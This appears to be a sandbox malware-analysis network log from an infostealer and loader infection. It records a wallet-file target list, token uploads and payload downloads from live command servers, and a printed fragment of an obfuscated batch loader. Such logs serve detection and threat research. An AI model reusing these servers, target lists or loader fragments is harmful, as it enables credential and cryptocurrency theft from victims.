Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 30, 2024 22:53:10.420258045 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="message"files------IEHCAKKJDBKKFHJJDHII--
Nov 30, 2024 22:53:10.865022898 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:53:10.887700081 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKFCFBKFCFBFIDGCGDHJContent-Disposition: form-data; name="file"------KKFCFBKFCFBFIDGCGDHJ--
Nov 30, 2024 22:53:11.828665972 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:53:11.862250090 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"ybncbhylepme------BAAAAKJKJEBGHJKFHIDG--
Nov 30, 2024 22:53:12.307229042 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49741	185.215.113.16	80	764	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:53:12.437144995 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 30, 2024 22:53:13.818975925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:53:13 GMT Content-Type: application/octet-stream Content-Length: 1892864 Last-Modified: Sat, 30 Nov 2024 21:42:00 GMT Connection: keep-alive ETag: "674b86a8-1ce200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@K@pK@Wk K K @.rsrc@.idata @ *@dmpinvwn`1@kefdngyk0K@.taggant0@K"@
Nov 30, 2024 22:53:13.819232941 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:53:13.819242001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:53:13.819833040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:53:13.819844007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:53:13.821072102 CET	1236	IN	Data Raw: 96 33 09 40 5c c1 6b fa d3 7c ab 6b 37 b8 06 71 a3 bb fa fe dd b4 ab bf 64 c0 17 71 56 84 99 d7 e2 3a 6d 8f 8b b2 5d ca 33 ed 20 d7 63 ba 7c be 93 22 61 5f b7 ae 60 12 92 b4 d9 60 a2 8d 08 e0 5b 40 03 e0 b6 0c 39 8b 42 a0 71 cb 31 60 1d 8e d6 83 Data Ascii: 3@\k\|k7qdqV:m]3 c\|"a_``[@9Bq1`'=I+~ammoZT[Y"d`{(mmrdD5p poRd$'}d`cTCex4A[qrn1~Z@3}%B6>T[4y?d-{
Nov 30, 2024 22:53:13.821083069 CET	1236	IN	Data Raw: fb 70 55 4e af 1a 25 c7 a6 51 c1 f0 6b 6a 2a 5f 37 c6 f6 27 aa 67 f0 47 24 45 ba 94 31 ab bf a2 95 52 af 5e 7d ed f7 79 34 b3 0b 60 5b be 49 70 b3 4b 6e e2 57 ba 97 a7 cb a4 bc c9 1a da 9c 0f 6d 11 4d 47 24 84 9a 31 5a 8c 86 e3 0b ba 51 e1 51 09 Data Ascii: pUN%Qkj*_7'gG$E1R^}y4`[IpKnWmMG$1ZQQjUpDLT^mcDUtSW3oWU39]B`X>+KPPm?)OUb}/~>\|XP_V=\|A$[yg-P@ALEb
Nov 30, 2024 22:53:13.822072029 CET	1236	IN	Data Raw: 59 67 eb a4 12 ee df 97 de 75 99 b6 dd c4 3c 3e 05 87 5d df f0 3f 27 1d 9f a7 d1 20 8f 51 e4 cb 03 85 01 bf 92 38 8d e7 e3 1c 64 5c 5b 6e 3f 5d 58 9f 7a 8c 94 8b 16 34 cc 6f 56 b9 9c 84 65 b9 41 c4 be 70 54 b3 41 6f d7 38 e7 34 92 14 83 60 63 a6 Data Ascii: Ygu<>]?' Q8d\[n?]Xz4oVeApTAo84`c"^1<A=IKYGVJmMYSf_*{eu+K.6l{hvF=s"5T0\:b8>csS5][3bLA9e`rrm/XT6+
Nov 30, 2024 22:53:13.822083950 CET	1236	IN	Data Raw: bd 73 b9 42 a2 84 79 25 30 0b c3 6d c4 91 88 b3 ad 01 3d 2f fc 98 65 50 e7 a4 d8 80 2f 6d 0e f3 9a d2 90 ef 69 8a 2a 5f b2 b0 da 92 91 9a e9 86 de 4a 02 f0 18 ba 90 cb 2b ec 24 e4 1f 2d 84 a2 97 81 02 2c 01 22 fd 33 72 70 00 b0 a1 d8 64 cf d2 c5 Data Ascii: sBy%0m=/eP/mi*_J+$-,"3rpd\PANFg.IR8Mp=B%iddN<"ToO7_ol)\|P#6WmyAi\4\js.8p@@(rflffZ}_m
Nov 30, 2024 22:53:13.823348999 CET	1236	IN	Data Raw: 57 dd 7b 33 61 94 74 22 5e aa ba 50 dc e2 cf ec bc 7f 65 8a a5 71 60 ff 4f b3 bf b7 a3 a2 5b de 34 7c 08 78 81 52 05 c0 c6 f5 14 ed d6 13 b9 8d 32 f4 90 7b 46 22 00 cc 4d 13 79 37 75 51 e4 1d 3e 83 09 2c 80 3a 6e e2 52 c6 f1 00 a6 83 f1 48 81 9c Data Ascii: W{3at"^Peq`O[4\|xR2{F"My7uQ>,:nRH>Kv`{XH@u_m9G$7!kly4C>6\|!Z?UW\cB)C@<<F[-9=sg#"J%MU38:qS;
Nov 30, 2024 22:53:13.940023899 CET	1236	IN	Data Raw: d5 e2 6d ec b3 fc 9d 5b d9 83 e0 76 05 97 17 24 d3 6b a9 bb 3f 39 6d 79 1b 48 6f df 3c 33 2d 04 e2 ca 47 31 44 b3 6d e3 33 18 63 4b 3e 03 ad 7d 4d b6 09 a0 48 44 7a 81 19 a4 cb 41 3f 7b eb 52 2f 49 1a 96 35 4b eb 4c 3a d3 38 13 ba ae 8c 73 42 23 Data Ascii: m[v$k?9myHo<3-G1Dm3cK>}MHDzA?{R/I5KL:8sB#L+Y_%tP]bGm@QAm\|khqjz9kGGLc?Uz[X81_gR0-~bMWEmo/W3DA>3}gp[Z`tU0E}cI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49742	185.215.113.206	80	764	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:53:17.611392021 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 64 30 64 64 33 37 34 65 30 34 62 37 35 38 64 62 63 36 37 63 64 36 64 39 30 63 34 63 34 65 63 62 36 34 39 31 33 30 30 30 33 35 32 62 31 66 38 64 30 35 33 32 34 39 38 30 39 33 64 64 34 62 37 30 32 64 39 63 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="token"e3d0dd374e04b758dbc67cd6d90c4c4ecb64913000352b1f8d0532498093dd4b702d9c71------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CGCFCBAKKFBFIECAEBAE--
Nov 30, 2024 22:53:19.444658041 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49807	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:06.090676069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:54:07.483479977 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49813	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:09.114356995 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:54:10.529593945 CET	952	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 66 39 0d 0a 20 3c 63 3e 31 30 31 30 37 38 32 30 32 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 66 38 36 66 38 30 34 34 34 64 62 61 34 37 65 31 35 66 35 30 30 32 35 36 39 35 64 38 23 31 30 31 30 37 38 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 30 37 38 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 30 37 38 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 64 30 63 30 66 39 63 33 34 65 31 65 [TRUNCATED] Data Ascii: 2f9 <c>1010782021+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbf86f80444dba47e15f50025695d8#1010787001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1010788001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1010789001+++b5937c1ad0c0f9c34e1eeb9f173c690060f241fc97d5aba4a3e29c29c11719ef1ce6594d4051d6d9fc1d#1010790001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1010791001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1010792001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1010793001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49818	31.41.244.11	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:54:10.655531883 CET	58	OUT	GET /files/Spreadtest.cmd HTTP/1.1 Host: 31.41.244.11
Nov 30, 2024 22:54:12.038599014 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:54:11 GMT Content-Type: application/octet-stream Content-Length: 1344165 Last-Modified: Sat, 30 Nov 2024 21:18:53 GMT Connection: keep-alive ETag: "674b813d-1482a5" Accept-Ranges: bytes Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 73 65 74 20 22 48 78 64 68 6d 52 3d 73 65 48 78 64 68 6d 52 74 48 78 64 68 6d 52 20 48 78 64 68 6d 52 4b 58 48 78 64 68 6d 52 6b 6c 3d 48 78 64 68 6d 52 31 20 26 48 78 64 68 6d 52 26 48 78 64 68 6d 52 20 48 78 64 68 6d 52 73 74 61 48 78 64 68 6d 52 72 48 78 64 68 6d 52 74 48 78 64 68 6d 52 20 48 78 64 68 6d 52 22 22 48 78 64 68 6d 52 20 2f 48 78 64 68 6d 52 6d 48 78 64 68 6d 52 69 48 78 64 68 6d 52 6e 20 48 78 64 68 6d 52 22 0d 0a 73 65 74 20 22 6b 45 47 76 53 65 3d 65 78 6b 45 47 76 53 65 69 6b 45 47 76 53 65 74 20 2f 6b 45 47 76 53 65 42 6b 45 47 76 53 65 22 0d 0a 73 65 74 20 22 79 62 47 48 50 62 3d 69 66 79 62 47 48 50 62 20 6e 79 62 47 48 50 62 6f 79 62 47 48 50 62 74 20 79 62 47 48 50 62 64 65 79 62 47 48 50 62 66 69 79 62 47 48 50 62 6e 65 79 62 47 48 50 62 64 20 79 62 47 48 50 62 4b 58 79 62 47 48 50 62 6b 6c 79 62 47 48 50 62 22 0d 0a 69 66 20 25 25 79 62 47 48 50 62 3a 79 62 47 48 50 62 25 25 3d 3d 25 25 79 62 47 48 50 62 25 25 20 28 25 48 78 64 68 6d 52 3a [TRUNCATED] Data Ascii: @echo offset "HxdhmR=seHxdhmRtHxdhmR HxdhmRKXHxdhmRkl=HxdhmR1 &HxdhmR&HxdhmR HxdhmRstaHxdhmRrHxdhmRtHxdhmR HxdhmR""HxdhmR /HxdhmRmHxdhmRiHxdhmRn HxdhmR"set "kEGvSe=exkEGvSeikEGvSet /kEGvSeBkEGvSe"set "ybGHPb=ifybGHPb nybGHPboybGHPbt ybGHPbdeybGHPbfiybGHPbneybGHPbd ybGHPbKXybGHPbklybGHPb"if %%ybGHPb:ybGHPb%%==%%ybGHPb%% (%HxdhmR:HxdhmR% %%kEGvSe:kEGvSe%%)::g7H1/FTN1TmJMsK6/RdO6KuHyxCTKmGtwL01Ekrl9UZ8DTxeFsS5ykGtAYQoR2GIfdempLITt6f59Sk8fHuBwdP4FO+GBjX1M/9AcRy2zeI2RkzhJs7gS9ONjEGA009/s7zKxokacW9sWjsI7sFTUGT5ygRqijQr2QggmgoKoY8nZt4iHH7d+kJFAOzzEr+0+rarmJTE5iMaGLwY/K4EQaGu/YAPndZq92guD1ouHcAWR7i1BYvQ9zfBSRFQTjBMdXU71huQ+6vUBbv4CxTBKeLLcpcOoZ2IheWlvj6zTJ78gvCqWZaNYFVvHP991lzIamLPMvN/ROw1FDlEZar371Rse+yuT+AGFG2E7CrKl+2FHdtDd+l/EBlxBT01VD5BhoWHMJpGpgq5jrv4gRkbkfKp700/RtFrLICALCMrItYbloGG5kYspe61jXelRvW5wJTvgVQJ8yZDqnyk9A/wPhvDHekGzfuUrZsD3ZCbxi3NmnPwXXw4NoDb6IrmeHBrjY8kMLUwQ8MguWOWIEIRRpIa8XRj+Y1IEBD2is4A07T4xRwrD8UB0LwQj/dWd6SXJ9xkCKVxliTjy3bCP72hzYq
Nov 30, 2024 22:54:12.038789034 CET	224	IN	Data Raw: 68 39 38 72 4e 56 43 58 76 71 4f 62 72 41 77 39 6e 58 37 4c 70 63 33 4e 38 37 76 78 78 39 56 47 41 38 66 49 68 70 6c 31 43 6f 54 72 76 37 7a 5a 76 61 62 49 2f 4b 64 6f 4e 70 6a 54 7a 6b 39 62 70 32 4b 74 4b 4f 44 77 37 48 6f 38 42 4c 7a 75 34 35 Data Ascii: h98rNVCXvqObrAw9nX7Lpc3N87vxx9VGA8fIhpl1CoTrv7zZvabI/KdoNpjTzk9bp2KtKODw7Ho8BLzu45RpCWp+6er1xYyw0S82hisUQCL91f57kxBxJg9aBYkWfmbInELbI92dw9BLHDX3KDDi/0yEJSAyeCe6x8WQO1XUX5ZvZgMKnRQVXM/fkZhzsxoKx7B7EE3VZ+maGlMdpqysjj6UORBK12AS
